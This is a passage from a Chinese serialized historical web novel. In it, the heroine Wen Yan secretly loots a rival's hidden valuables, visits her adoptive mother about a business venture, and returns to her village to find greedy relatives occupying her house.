顺利进城之后,闻颜便将花匠夫妻交给田叔安顿。 闻颜租一间小院子,平时是田叔、霜姨他们居住。 现在借一间房给花匠夫妻,不是问题。 “今晚,你们夫妻好好休整一番,明日一早我带你们去看大夫。”闻颜对花匠叮嘱一句。 花匠连连道谢,带着妻子,就跟着田叔离开了。 闻颜这才问庆川:“下一趟买卖,你什么时候出发?” 庆川:“在家中歇两日就走。” 闻颜沉思一会儿,便道:“我有一件买卖跟你谈,你离开之前,可否来找我一趟?” “当然可以……” 谈妥之后,闻颜就朝客栈而去。 庆川看着闻颜一行的背影,心中酸涩。 维持了一天的笑容,瞬间支离破碎。 闻颜他们在客栈要了一间,位置偏僻的房间住下之后,就未再露面。 甚至连饭都是让小二送到房间的。 夜深人静之时。 闻颜的窗户被两短三长的敲响。 和衣躺在床上的闻颜,瞬间坐起身。 佩儿已经小跑过去打开窗户。 田叔站在窗外。 闻颜和佩儿立即翻窗出去。 三人顺着街道七拐八绕,一路小跑了大半个时辰,才在一座宅子前停下。 没有敲门,田叔直接带着二人,翻墙进去。 闻颜扶着墙,气喘吁吁:“钱难挣,屎难吃。” 田叔已经在宅子里逛了一圈,这时走过来道:“这座宅子里没人。” 这里本是司徒明养外室的宅子。 他一离京,外室便带着他唯一的儿子,回娘家去了。 主人不在,就更方便他们行事了。 “司徒明这人惯会自作聪明,他肯定会将财物藏在此处。我们仔细地找,便是一块地砖,一块地砖的翻过来,也要把那些财物掏出来。” 闻颜叮嘱完,便分开行动。 与此同时。 津平侯府。 “咕噜咕噜” 闻如月的院子里,突然传来几声鸽子叫。 与她同榻而眠的霍耀行,忽然清醒过来。 他来到窗户前,打开窗户之后,一只鸽子落在窗棂上。 霍耀行取下鸽腿上的密信,一目十行地看完,顿时脸色大变。 怎…… 怎么会! 他的那些手下,个个都是身经百战,竟然会着了旁人的道! 五千石! 不是五千斤! 而是五千石粮食,竟然被人悄无声息地运走。 闻颜,司徒明真的如信上所说,是敌国派来的卧底? 可他都已经成为本世子的幕僚,又怎会因为那点粮食,就暴露自己? 岂不是因小失大吗? 定是那些护卫,运粮不力,便想将责任推到司徒明身上。 对,定是如此! 那些狗奴才。 自己办事不利,却将罪责推到司徒明身上。 等他们回来,定要狠狠治他们的罪。 “哎呀!” 霍耀行刚刚安慰好自己,身边忽然传来一声惊呼。 他被惊了一跳。 回头看去。 就见闻如月不知何时站在他身边,手里还拿着那封密信。 “谁让你看的?”霍耀行怒斥一声,一把将信夺过。 “我们是夫妻,你有什么是我不能看的?”闻如月不以为意,反而火上浇油,“夫君,现在你该相信我了吧,司徒明真的不是好东西。” 司徒明那个狗东西,居然敢那般算计自己。 就别怪她:趁他病,要他命! “他若是真心效忠于您,又岂会那般地坑害我? 我们是夫妻,休戚与共,我的损失就是你的损失。 他是何等聪明的人,连我这个妇道人家都懂的道理,他岂会不明白?” “胡言乱语!”霍耀行喝止她。 司徒明若真是细作,前世又会一直没有暴露。 闻如月知道没那么容易挑拨。 她眼珠子转了转,又换了话术:“就当是我在冤枉他吧。 万一密信所言为真,他真的是…… 那他这些年,岂不是把我们当棋子,把我们耍着玩吗?” 果然,霍耀行年轻自负,最受不了被人愚弄。 事关他的尊严,他立即就上头了。 闻如月再接再厉:“事情一旦暴露,可就是通敌叛国的罪名,会牵连整个侯府的。 害人之心不可有,防人之心不可无,夫君也该早做准备,有备无患啊!” 第237章:来晚了 “男人的事,你一个女人少管。” 霍耀行一脸怒容,拂袖而去。 闻如月顿时笑开了花。 她知道,尽管霍耀行面上不显,但他心中已埋下怀疑的种子。 司徒明最好不要回来。 一旦回来,等着他的,只会是霍耀行无尽的猜疑和试探。 霍耀行一路来到书房,他低喝一声:“来人。” 一名护卫,推门而入,单膝跪在霍耀行面前,恭敬道:“主子。” “我听说,司徒明在外面置了私产,还养了个外室?” “是。那个外室还给他生了个儿子。”护卫一五一十的答道。 “司徒明在外替我奔波办事,很是辛劳。想必他也十分挂念家中妻儿,”霍耀行的语气甚是柔和。“你即刻去把那对母子接回府里来照顾吧!” “是!”护卫应了一声,起身就出去办差了。 说是接回来照顾,其实是变相囚禁罢了。 他日司徒明回来,才会让他拿捏住。 护卫带着手下,赶到那座宅子后,连门都没敲,直接撞门进去。 却发现这里早就人去楼空,并且有人翻动的痕迹,像是遭人洗劫过的。 这时。 巷子里突然蹿出一个乞丐,腆着脸走过来:“几位大老爷,这里面的人刚刚已经跑了。” “你知道什么?”暗卫从院中走出来,眉目冷沉地问他。 乞丐一脸讨好的笑,揉着肚子道:“大老爷,小的肚子好饿。” 护卫朝手下使了个眼色。 手下立即摸出一块碎银,扔到他脚边。 碎银骨碌碌地滚到污水里。 乞丐立刻捡了起来,他也不嫌脏,放进嘴里狠狠咬了一口。 看见上面清晰的牙印,乞丐‘嘿嘿’地笑了。 随后便将他知道的,全部说了出来。 原来,在司徒明离开后没两天,这户人家的女主人,就带着儿子回了娘家,此后再没回来过。 不过,就在半个时辰前。 有三个人,偷偷摸进了这个院子。 他们在里面待了半个时辰,便抬着一口箱子离开。 乞丐指着巷子一头:“他们刚从巷子东头出去,你们就从西头来了。 但凡你们早来一瞬,说不定还能逮着他们。” 乞丐说着,还嘿嘿地笑,一脸的幸灾乐祸。 这一带巷子,星罗棋布,交错复杂,只要钻进其中一条,想要逮人就难如登天。 暗卫一把揪住他的衣领,将他提了起来:“告诉我,他们出了巷子,往哪边走的。” 乞丐吓坏了,双腿不停地乱蹬,哭喊着求饶。 “快说,他们往哪条道走了?” “我……我不知道啊,他们从巷子东巷走的,我当时在竹席后面睡觉,就没跟过去。” 护卫咬了咬牙。 随手一扔。 ‘砰’的一声。 乞丐撞在墙壁上,双眼一翻失去了意识,烂泥一样滑落在地。 护卫指着东边:“朝这个方向,给我搜。就是掘地三尺,也要把他们给我抓回来。” 手下们立即散了出去。 护卫想了想,又派了两个人去外室的娘家:“切记,立刻把那对母女带回侯府。” “是!”手下应了一声,转身就跑了。 闻颜三人,一直走小路回客栈。 箱子并没有弄回房间,而是直接塞进了马车里。 箱子里面,是他们从司徒明家中搜刮来的宝贝。 司徒明那家伙,好东西不少,这一下子是发大财了。 等她回到松山村,再好好清点一番。 翌日。 田叔带着花匠夫妻,来到客栈。 闻颜先带着他们去了同和堂找林大夫。 林大夫看见闻颜,眉头就皱了起来:“怎么又是你啊?” 这是她带来的第三个病人了。 闻颜笑着,将花匠夫妻引荐给他。 林大夫给妇人把脉,左手把完换右手,最后沉吟了好一会儿,他才开口道:“这个病,不好治啊!” 花匠夫妻听完,脸上顿时露出灰败之色。 花匠急得不行,‘扑通’一声就跪在地上,苦苦哀求:“大夫,求求你了,救救我的妻子吧。 她嫁给我十几年,没享过一天福,大夫你一定要救她啊。无论花多少钱,砸锅卖铁,我们也要治的。” 林大夫吓了一跳,连忙避开他的跪拜:“你这人怎么回事?我是说这个病不好治,也没说不能治啊!” 药童连忙跑过来,把花匠扶起来,帮着林大夫安慰他。 花匠一听能治,这才止住滚滚落下的泪。 “药费真的很贵,你想好了吗?”林大夫看向闻颜。实在是花匠夫妻的穿着,不像能拿出太多钱的样子。 闻颜心想,一副药再贵能有多贵。 直到花匠去结账的时候,三副药竟然花了五百两银子。 花匠的妻子听到价格,当即就身体一软,吵着闹着不看病了,药也不抓了。 花匠好一阵哄劝,才把他的妻子安抚住。 闻颜见这里没什么事情,她就去了镇定将军府。 马车停在大门口 门房一见是闻颜来了,立即把她往院子里请。 “我车里还有几盆花,劳烦帮我搬进来。” 闻颜捧着一大把花束,一边往里走,一边问,“我义母在家吗?” “在的。今儿夫人没有出门。” “那就麻烦你去通传一声,我去花厅等义母。”闻颜笑着朝他点点头。 没过多久,将军夫人白氏就来了。 “义母!”闻颜甜甜的叫了一声,站起身来见礼。 白夫人搂着闻颜,怎么都亲热不够:“闺女就该这样娇娇软软的才对嘛!” 闻颜把一大捧花递给白夫人:“昨天我去了一趟花楹镇,挑了好些漂亮的花。 有几盆最美的,我让他们送到义母院子里了。 还有还有,你看我手上的蔻丹,是一个心思玲珑的老板娘做的,好看吧!” 白夫人握着她的手,越瞧越欢喜,好一通夸赞。 两人闲话家常,说起她在途中遇到孟迟飞。 得知女儿很安全,白夫人悬着的一颗心才落回肚子里。 亲香够了。 闻颜就提出要合作做买卖的事。 白夫人双眼亮晶晶的:“你又有做生意的新点子了?” 闻颜点着头,“所以才来找义母合作呀,咱们一起赚得盆满钵满,当大庸最富有的女子。” 白夫人不赞成地道:“有赚钱的点子,你自己开铺子就是了。怎能每回都带上我们。” 第238章:家里来人了 闻颜便同她说起新店:“这个生意是要从那些官太太手里赚银子,若是没有背景,她们怎会理我? 我在京城名声不好,万一有看不惯我的人,故意找茬,我无权无势无靠山,还不得被他们吃干抹尽啊!” 白夫人知道闻颜说的真假掺半,无非是想带着孟家赚钱,报答这些年孟家对她的看顾。 想到这些,白夫人就没再推辞。 不过,白夫人还是出了一千两的本钱和铺面。 闻颜道:“我们要做高端市场,普通的店铺肯定不行。 义母,你手里有没有环境清幽,又宽敞的宅子?” 白夫人便将她嫁妆里的一间宅子,拿给闻颜做生意。 闻颜立即小嘴抹蜜一般,把白夫人夸得乐不可支:“你啊,一张巧嘴,最能讨我欢心。我今日心情好,待会儿晚饭都要多吃两碗。” 陪着白夫人吃过午饭,闻颜便去找辰七了。 今天就带着他回村里。 辰五哥提着食盒,站在门外徘徊,语重心长地劝他:“老七,你就吃点东西吧。 也不看看你都瘦成什么样子了,再不吃就饿成骷髅了。 闻颜已经回来了,让她看见你这副鬼样子,肯定要大发雷霆的。” “你让他滚,我不想看见她。骗子,你们都是骗子。”辰七气得在屋子里大骂。 门没进就先被骂成了骗子,闻颜哭笑不得。 闻颜走过去,接过食盒:“五哥,让我来吧。” 辰五哥小声道:“你小心点,他最近脾气大得很。” 闻颜对他比了一个‘我能行’的手势,“放心吧,我能搞定。 不过,以防万一,五哥你还是找些人,等在院子外面吧,以备不时之需。” 辰五哥忍俊不禁:“还以为你能手拿把掐呢!没想到也是害怕的。” 闻颜笑呵呵的:“有备无患嘛。” 辰五哥出去找人。 闻颜提着食盒进了房间。 “哟,是谁惹我们的辰七哥生气了呀,连午饭都不吃了” 辰七哥回头看她一眼,冷哼一声便回过头去,用后脑勺对着她。 辰七哥坐在窗前的贵妃榻上,宽大的袍子罩在他身上,就像披着一块布。 精神倒是比上次好好了许多。 闻颜笑呵呵地凑到他面前:“哎呀,有些人明明成年了,怎么还在小孩子脾气呀?” 她摆好饭菜在他面前:“喏,吃饭吧。不吃饱饭,你怎么有力气继续生气呢?” 辰七哥撑着身体,扭到另一边:“我不饿,我不吃。” “我知道,上次我不辞而别,对你失信了。 我跟你道歉,对不起,七哥您就原谅我吧,我保证以后绝不再犯。 不管有多急的事,都会跟你说一声再走。” 闻颜朝他深深鞠了一躬。 辰七哥身体颤了颤,想回头看闻颜,又生生忍住。 道完歉,她又变成嘻皮笑脸的样子。 她舀了一勺饭,喂到他嘴边:“喏,我也道歉了,咱们好好吃饭吧,吃完饭,咱们就一起回村吧。 在城里耗太长时间,我们就得赶夜路了。 来,啊……” 饭都递到嘴边了。 辰七哥心想,虽然闻颜不守信用,不过刚才她也诚恳道歉了。 还是见好就收原谅她吧。 他正要张口去吃东西。 闻颜却已经等得不耐烦了。 她把勺子往碗里一扔,倏地一下站了起来:“哼,真是敬酒不吃吃罚酒。” 她站起身,就往门外走去。 辰七哥心里没来由一慌,正要唤回她。 然而,不等他开口,闻颜已经气冲冲地出了房间。 那步子走快得,就像后面有狗在追,她眨眼就消失在门外。 辰七哥伸出去的手僵在半空中。 他讪讪地收回手,开始后悔:“呵!让你作吧!现在好了,闻颜彻底恼了。” 闻颜站在院子里,一招手:“五哥,把人带进来吧。” 随后,就见辰五哥带着几个人进了院子,又跟着闻颜进了房间。 闻颜指着辰七,道:“把他给我捆了,扔进我马车里去。” “你……你们要干什么!” 孟家仆人笑盈盈地道:“七公子,这是闻颜小姐吩咐的,您乖乖配合还能少吃一点苦。” 辰七:“……” 他有种自己被恶霸强迫了的错觉。 很快,辰七就被裹成了粽子,扔上了马车。 辰七挣扎:“你放开我,我的行李还没收……” 咣! 一个大包裹扔进马车里。 辰五哥拍拍手:“喏,我已经把你的行李打包好了,你快些走吧。” 辰五哥一巴掌拍在马屁股上:“快走吧你,没事就别回来了。” 辰七哥:“你可真是我亲哥!” 白夫人站在门口,目送马车远去,眼含笑意:“治你们几个刺头,还是得闻颜来。” 辰五哥也跟着笑:“可不是!闻颜今天都还没使唤出杀手锏呢,老七就老实了。” 白夫人想到小七被裹成粽子,就忍俊不禁。 闻颜他们一路疾行,很快就回到了松山村。 时隔两个月,松山村变化极大。 田地里的作物都长高了。 进村之后,村民也都热情地打招呼。 “秀才娘子,你回来了!” “秀才娘子,这段时间你去哪儿了?怎么一直不见你?” 忽然,有个人急道:“秀才娘子,快回家吧,你家里出事了。” “出事?出何事了?”闻颜问道。 “五婆婆的大女儿大女婿回来了,她大女儿回来说婆家容不下她,一哭三上吊,一家十几口已经搬进你家了。” “应知林呢?他不在家吗?” 那人摇摇头:“不知道,好几天没看见应秀才了。” 闻颜笑着对他道了一声谢,又拿了一包点心给他:“多谢婶子,有空到家里来喝茶聊天啊。” 道别婶子后,闻颜就回家而去。 刚到院门口,闻颜就听见院子里传来孩童嘻闹争执,大人打骂呵斥的声音。 佩儿皱了皱眉,心里很是担忧:“听起来好多人,小姐,他们不会闯进你的院子吧。” “莫慌,管他什么情况,进去看看再说。”闻颜安抚地拍拍他的手,就率先跳下了马车。 佩儿也跟着跳下马车,小跑到闻颜前面:“小姐,我来为您开门。” 第239章:鸠占鹊巢 佩儿几步走过去。 推开了院门。 只见偌大的院子里,多出五六个陌生人。 有男有女,有老有小。 只见三个男孩,正把应知海按在地上,“你趴在地上,给我们当马骑,我们要骑马。” “我不!我都不要给你当马,你放开我,放开我!”小海挣扎着,想从地上爬起来。 但他才七八岁,以一敌三,根本打不过。 没挣扎两下,就被按在地上了。 一对中年男女,坐在院墙边的葡萄藤下,一边磕瓜子,一边聊天,嘻嘻哈哈的。 瓜子皮噗噗往外吐,对应知海的遭遇恍若未闻。 屋檐下。 闻颜专门订制的躺椅里,此刻坐的并不是五婆婆,而是一个陌生老妪。 那老妪穿着一身绸衫,闻颜一眼认出,那是她买来料子,让刘婶帮忙做的。 五婆婆则坐在旁边的马札上。 手里拿着一把团扇,正在给陌生老妪扇风。 大概是听到应知海的声音,空洞的眼神朝应知海这边看过来:“小海?你怎么了小海?” 躺椅上的老妪一把抓住她的手,将她拖了回去:“亲家母,什么事都没有。” “可是……” “没有可是,你赶紧打扇,我快热死了。”老妪烦躁地嚷嚷。 五婆婆只好给她扇风。 闻颜种的花草,也都被祸害得不成样子。 “哟,家里来客人了!”闻颜笑眯眯地说着,抬步走了进去。 院中几人朝她看过来。 闻颜径直朝应知海走去。 一个男孩已经骑到他背上,揪着他的总角:“驾驾驾!” 闻颜一把揪住男孩后领,将他提了起来。 男孩顿时手乱蹬“嗷嗷”叫骂:“哪来的贱女人,你放开小爷,你放开小爷。” 闻颜没有为难一个孩子,把他扔到一边,弯腰把应知海扶起来。 应知海仰起胖乎乎的脸蛋,脸上满是倔强。 “小海,你没事吧!”闻颜拍掉他裤子上的灰土。 应知海的眼眶里,以肉眼可见的速度,蓄满泪水。 “嫂嫂!”应知海哇的一声哭出来,扑进闻颜怀里,“嫂嫂,他们欺负我。” 闻颜捧着他的小脸,擦净他脸上眼泪:“不怕,大嫂回来了,以后没人能欺负你。” 应知海点点头,窝在闻颜怀里,不肯再出来了。 “哎呦,原来这就是我那位侄儿媳妇啊!”那位嗑瓜子的妇人,一脸笑容地朝闻颜走来。 妇人颧骨突出,又腮狭窄,下巴尖长。 她一笑,就像一只猴子成了精。 闻颜牵着小海,与她错身而过。 妇人扑了个空。 闻颜径直来到五婆婆身边,规矩行礼道:“祖母,孙媳回来了。” 五婆婆浑浊的眼睛里,已经蓄满泪水眼神也像有了焦距:“颜颜,你终于回来好!平安就好!” 闻颜上前扶着五婆婆,回头对那个老妪道:“老太太,我祖母眼睛不好,你应该不会跟一个眼睛有疾的老太太抢一把椅子吧!” 这把椅子躺着太舒服了。 老妪可不想让,正要说什么。 就见中年妇人大步走了过来。 她一把抱住老妪的胳膊,拼命使眼色:“娘,椅子你也试过了,舒服吧,改日儿媳打把一模一样的,让您也享受享受。” 老妪瘪了瘪嘴,翻了个大白眼,这才不甘不愿地让出椅子。 五婆婆终于坐回自己的椅子。 中年妇人亲热地握着闻颜的手,好一通夸:“你就是知林媳妇儿吧。我是你二姑姑。 早就听说我大侄儿娶了一个顶顶漂亮的媳妇。 原本我是不想信的,这世上再漂亮的姑娘,还能有庙里的仙女漂亮? 直到此刻看见你,我才知道,什么是貌若天仙。” 说着,她就脱下手腕上的银镯子,塞在闻颜手心:“我也拿不出什么贵重东西,这是我出嫁时,你祖母也就是我娘给我的陪嫁。 我连自己的儿媳都舍不得给,你可不许嫌弃。” 闻颜握着镯子那一刻,便从它的重量得知,这就是个银包铜的假货。 放到金银铺子里,也就值个二三十文。 “原来是二姑姑。 您是长辈,这镯子礼轻情宜重,我喜欢都来不及,怎么可能嫌弃。”闻颜说着,就将它戴在了手腕上。 乔婆子不是说她在京城大官家中,娇养着长大的吗? 眼皮子怎么这么浅,连一只银手镯都要收。 二姑姑脸颊上的肌肉抽搐几下。 明明吃瘪,却强挤出笑容。 她朝那三个男孩招招手:“快过来。” “阿奶!” 三个男孩立刻跑了过来。 许是闻颜刚刚拎人时太过粗暴,吓得三个男孩不敢靠近她,全部躲到二姑姑身后。 二姑姑立即互相介绍道:“这里两个是你大表哥的孩子,这个是你二表哥的孩子。 来宝、来财、来富,快跟你们的表婶问好。” 三个男孩撅了撅嘴,并不想叫。 二姑姑眼一瞪。 三个男孩立马老实了:“表婶好!” 二姑姑满意地点点头,然后看向闻颜。 都说那些贵人最重礼数,自己都给她手镯当见面礼了。 闻颜初次见晚辈,还能什么都不给? 起码也得每人十两八两的银子吧。 “都是几个乖孩子。”闻颜温柔笑着,朝佩儿道,“去把我装玩具的匣子拿来。” 佩儿很快就捧来一个木匣子。 闻颜打开匣子,从里面拿出三个机关玩具,一人分发一个:“喏,这是我送你们的见面礼。拿去随便玩吧。” 二姑姑见她拿出几个木头疙瘩,脸色瞬间一黑。 呸! 什么大户人家出身,比她这个农妇还抠搜。 不过。 她住进来两日,从吃的、穿的判断,他们很有钱。 她掩下真实情绪,挤出笑容让孩子给闻颜道谢。 三个孩子哼了一声跑开。 他们拿着木头把玩一阵,就毫无兴趣地扔到地上了。 “二姑姑,我连日赶路,就先失陪了。”闻颜礼数周到地福了福身,就带着佩儿准备离开。 五婆婆连忙叫住闻颜,把一串钥匙交给了她。 闻颜一开始还奇怪。 直到看见通往跨院的门上了锁,这才明白怎么回事儿。 佩儿把院门一关:“小姐,那一家人明显把这儿当自己家了,鸠占鹊巢。 那个二姑的眼神游移不定,一瞧就心思不存纯。 您不把人赶走就算了,怎么还顺着他们?” 闻颜道:“她毕竟是五婆婆的亲生女儿,这里是她从小长大的家。 五婆婆待我不错,她贪些小利无所谓,她若是兴风作浪……” 闻颜顿了一下,才笑着道:“欲先使其灭亡,必先使其疯狂。” 佩儿挠挠头,似懂非懂。 闻颜突然敲敲脑袋:“佩儿,我们是不是忘记什么事了?” 第240章:没房可住 佩儿歪着脑袋想了想:“有吗?我怎么不记得了?哦,对了,我们的行李还没搬。” 闻颜敲了敲她的脑袋:“什么行李,是我辰七哥,他还在马车里呢。” 马车里的辰七:“……两位姑奶奶,可算是想起我了。” 西跨院建好后一直空着,闻颜本想把辰七哥安排在那里。 却没想到,西跨院的房间,已经被二姑姑一家占完。 二姑姑不好意思地搓搓手:“那个……我家里人多住不下。 我看茅房隔壁的杂物间还空着,不如安排他住在那里?” 闻颜看着二姑姑都气笑了。 她辛辛苦苦建了两个跨院,临到头了竟然没房可住。 不过,现在也不是掰扯这个的时候。 直接把辰七哥带回自己的东跨院。 二姑姑急忙拦着:“你一个大姑娘,怎么能让一个陌生男子住进你的院子。” 闻颜笑着道:“他是和我一起长大的哥哥,怎么就不能住一个院子了?” “可是……若是让知林大侄子知道了,不是影响你们夫妻感情嘛!” 闻颜立即露出难为的表情:“那可怎么办呀?” 不过,下一刻她又露出释然的笑容:“二姑姑明理善辩,一定能帮我说服夫君的,对不对! 侄媳笨嘴拙舌,就有劳二姑姑了。” 说完,她就推着司徒明回到了自己的院中。 二姑姑:“……” 她仿佛吃了苍蝇一般。 让她怎么跟应知林解释? 说自家十三口人,将八个房间全占了,所以只能让你媳妇的哥哥,去住茅房旁边的杂物间? 二姑姑搂着老妪的胳膊,皱眉道:“娘,你说我这个侄媳妇,是真傻还是在我面前装傻?” 老妪,正是她的婆婆蒋老太。 蒋老太不屑地道:“要是真聪明,怎么会把外男往自己院中带。” “可她不是说那是她哥哥吗?” 蒋老太冷哼:“她哪来这样的残废哥哥?她的亲哥在隔壁柳家村卖豆腐,养父家的哥哥金尊玉贵,怎么会来这种乡下地方? 而且连个小厮丫鬟都没有。” “娘,您的意思是说……”二姑姑倒吸一口气,“那个男的是闻颜的姘头? 她的胆子也太肥了吧,竟然把野男人带回家! 而且她是不是有什么特殊癖好,那么多健全精壮的男人不选,居然挑了一个残废的。 娘,你说她是不是在闻家受过什么折磨,已经疯了?” 蒋老太瞥她一眼,她这个儿媳妇什么都好,就是总爱浮想联翩。 而且经常抓不住事情的重点,总需要自己点拨。 蒋老太在二姑姑的脑门上弹了一下,压低声音,不让五婆婆听见:“就算不是姘头,也得让两人搅和在一起,知道吗?” 二姑姑一点就通,露出恍然大悟的神情。 蒋老太道:“读书人最要面子,应知林若是知道闻颜背叛她,还能容得下她? 你不是正在给大妮子相看吗? 若是她能嫁给应知林当填房,以后这里就顺理成章是我们的了。” 二姑姑眼前又是一亮,对蒋老太竖起大拇指:“还是娘最聪明。” 对于这对婆媳的谋划,闻颜半点不知。 她直接将辰七哥送到书房,把厚厚一沓账本放在她面前。 闻颜朝旁边看小人书的应知海招招手:“小海,你过来。” 小海立刻从椅子上跳下来,蹬蹬地跑到闻颜面前,乖巧地叫了一声:“嫂嫂。” 闻颜对辰七哥哥介绍:“这是应知海,我的小叔子。以后他的读书练字,就由你负责了。对了,这是我家近两个月的账本,你整理好,我空了要看。” 闻颜又跟应知海介绍了辰七哥。 小海半点不排斥,立即就叫上先生了。 闻颜见他们相处和谐,就离开了书房。 佩儿也已经把马车安顿好,她便嘱咐她:“你去把刘婶和虎子哥找来,我有事情要向他打听。” “好。我这就去。”佩儿应了一声,就快步离开了。 佩儿走了之后,闻颜回到房间,关上门窗,正准备查看从司徒明那儿弄来的好东西,跨院的门就被敲响了。 闻颜打开门,一个出乎意料的人站在门外。 “应喜妹,你来我家干嘛?” 闻颜视线扫过她的全身,是精心打扮之后,才过来的。 闻颜不客气地问:“你有事?” “我可是你小姑,你这是什么态度?!”应喜妹不悦地训斥闻颜。 “小姑?我们只有大姑二姑,哪来的小姑。”闻颜牵起二姑姑的手,亲昵地道,“二姑姑,你说我说的对吗?” 二姑姑心想,要是说不对,那她就有理由把自己一家全部赶走。 娘家的日子太好了,饭来张口衣来伸手。 吃的是白米饭,有专门的厨娘,连衣服都有人洗。 这生活,跟地主老财也不差多少了。 她可不想被闻颜赶走。 她看了应喜妹一眼,便笑着道:“是啊,闻颜说得对。 知林已经跟你们断绝关系,过继到我家,那他就是我家的人,跟你们没有任何关系了。” “你……应晴,别忘了是谁给你的机会……” 二姑姑应晴立即打断她:“呸,应喜妹你少在这里胡说八道,当心回家之后,你娘抽你嘴巴子。” 应喜妹知道,应晴这一家是娘特地去招回来的。 自己若是这里说漏嘴,坏了娘的大事。 娘肯定会收拾自己。 而她又对闻颜有事相求,只得硬生生压下怒火,哼了一声:“我懒得跟你们计较。” 她绕过闻颜就准备朝跨院里走:“我有事找你去做,我们安静的地方说话。” 二姑姑眼珠子一转,也跟了上去。 老娘把这个院子看得紧,里面肯定藏着值钱的宝贝。 她早就想进去,大开眼界了。 闻颜一把扯住应喜妹。 因为用力过猛,应喜妹的脑袋差点撞到墙上 她顿时恼了:“闻颜你干什么!凭什么不让我进!” “有什么话你就在这里说,我的院子不喜欢外人进去。” “你……”应喜妹气得肺都要炸了,脸色青一阵白一阵的。 闻颜一点不给自己面子。 闻颜见好不答,就准备关门送客。 庆喜妹连忙撑着门,急切地道:“我是来问你的希延哥哥的,最近这段时间,他怎么不来村里了?” 两三个月不见,应喜妹辗转反侧,茶饭不思。 希延哥哥?!! 闻颜顿时被恶心得一个激灵。 “你问他的行踪作何?”她戒备审视地打量着庆喜妹,这货不会是在打孟希延的主意吧! 应喜妹脸上浮现可疑红晕,扭捏地绞着手指:“我……我给他做了一双鞋,想送给他。” 闻颜瞪圆了眼睛。 她果然看上孟希延了。 第241章:哥哥妹妹勾搭成奸 不过,孟希延本身的条件就不错,盘靓条顺,宽肩窄腰。 再加上身份背景的加持,绝对在大庸女子择婿的第一梯队。 闻颜直接搪塞:“孟希延是在外领兵打仗的将军。我怎么可能会知道他的行踪。” “你怎么可能不知道?你和希延哥哥的妹妹可是好朋友。你找她妹妹问一下不就知道了么?” 闻颜都被她的自以为是逗笑了:“你是我什么人啊,我凭什么要帮你打听?你给我多少钱的跑腿银子?” 应喜妹鄙夷地撇了撇嘴。 闻颜在官宦人家长大又如何? 骨子里流的,还是柳家卑贱市侩的血脉。 不过是问她打听点消息,就管自己要银子。 “你要多少?”应喜妹捏了捏自己的荷包。 她身上只有三十文钱。 大不了给她二十文好了。 闻颜眼珠子滴溜溜一转,又变了态度,把手往她面前一摊:“二百两,我就帮你打听。” “你怎么不去抢!”应喜妹失声尖叫。 “闻颜等我嫁给希延哥哥,我就是将军夫人,我自不会忘记你的好。到时候提拔应知林,当你当上官太太,也不过是我一句话的事。” “扑哧——”闻颜笑出了声。 “你笑什么!”应喜妹恼道。 闻颜嗤笑:“我家没有镜子,你能不能撒泡尿照照自己? 孟小将军那是什么人物? 是镇国大将军的嫡长子,他本就惊才绝艳,沙场上战无不胜。 不出意外,他将会是下一任镇国大将军。 他成婚,是要皇上下旨赐婚的,娶的都是门当户对的女子,别说公侯伯爵家的女儿,便是公主郡主都娶得。 你一个农村出来的丫头,拿什么配他?” 应喜妹被闻颜说得脸上青一阵白一阵。 羞得无地自容。 同时,听见他要娶别的尊贵女子为妻,她的心就像被人剜去一块,一抽一抽的发疼。 可要她就这样放弃,她做不到的! 几乎没有怎么思索,她便恨声道:“就算我不能做他的夫人。只要他心悦于我,我给他当个侧夫人,或者当个贵妾总行的吧! 只要希延哥哥的心在我身上,只要我成为希延哥哥最喜欢的女人,我随便从指头缝里漏一点,都够你应知林飞黄腾达了。” 闻颜看着应喜妹,仿佛在看杂耍班子的猴儿戏。 她伸出两根手指:“二百两。只要你给我二百两,我就帮你搞到孟希延的消息。” “二百太贵了,二百文差不多。” “嗤……京城里的贵女千金,排着队的想见他。 别说是二百两,我就是出二千两,都有的是人急着抢着要来他的消息。 而且。孟希延是兵部重点培养的小将军,前途不可限量。 他的行踪都是保护起来的,寻常人若是敢私自乱打听,都是以通敌判国罪来处置的。 我帮你去打听消息,这得冒多大的风险啊! 二百两简直就是跳崖价。” 我最多给二两银子。 闻颜嗤笑出声:“应喜妹你在想什么屁吃? 打听兵部官员行踪,这可是按通敌判国罪论处的。 二两银子你就想让我把脑袋挂在腰上为你卖命? 哦,不对,通敌判国是要诛九族的。 我是在拿这里所有人的小命冒险。” 闻颜似笑非笑地看了二姑姑一眼。 “你……你少在这里吓唬我,我是不会上当的。”应喜妹明显底气不足。 “我吓唬你?要不你去衙门打听打听,通敌判国到底会死多少人!” 应喜妹脸色一白。 就连一旁的二姑姑应晴也吓到了。 闻颜朝应喜妹伸出手:“看在你和应知林流着两样的血,也看在你曾是应知林小姑的份上,二十两银子,不能再少了,只要你给我二十两银子,我就去帮你打听消息。” 二百两银子,应喜妹肯定拿不出来。 二十两还是能挤一挤的。 二姑姑吓了一跳。 她连忙按下闻颜的手:“使不得啊侄媳妇啊,这可是杀头的罪名,万万不能做。” 闻颜拍着二姑姑的手,安抚道:“二姑,你放心吧。富贵险中求,孟小将军的妹妹是我朋友,我很容易就能把消息打听来的。” 这女人是不是疯了! 她回娘家是想跟着应知林沾光享福,不是来跟着杀头的。 二姑姑却一点不觉得高兴。 反而觉得后颈发寒。 应喜妹咬了咬牙,最后道:“好,二十两我勉强给你凑一凑。” 闻颜哼了哼:“那你搞快一点吧,拖拖拉拉下去,我可就把消息卖给别人了。” “你给我等着。”应喜妹怀揣着兴奋的心情,转身就跑了。 反而是二姑姑,脸色煞白,魂不守舍的。 闻颜忍着笑,关上了院门。 闲杂人等走光,闻颜的院子也恢复宁静。 书房里,立即传来一声低笑。 辰七哥发出的笑声。 闻颜立即瞪回去:“你笑什么笑?!” “我笑你良心都坏了。”应知林去晋阳府赈灾了,这在京城人尽皆知。 闻颜却要收人二十两银子。 那位应喜妹,简直是个冤大头。 越想就忍不住,辰七哥哈哈大笑起来。 闻颜朝他亮出拳头:“再笑我,我打你!” 辰七哥可不怕她打,反而笑得更夸张了。 然后,他就被闻颜的拳头问候了。 闻颜并没有使全力。 辰七哥夸张哎哎直叫:“饶命,你放过我吧,痛痛痛!” 一墙之隔蒋老太红了脸,拍着大腿,冲五婆婆直叫唤:“哎呦喂,伤风败俗,简直伤风败俗哎! 老姐姐,你也不管管? 大白天的,哥哥妹妹就在房间里打情骂俏勾搭成奸,虽然不是亲生的,但她名义上也是你的孙媳妇啊! 大白天的就跟野男人在屋里打情骂俏,别说你们老应家,有你这样的姻亲,便是我们老蒋家也跟着丢脸。” 五婆婆气得胸口起伏不定。 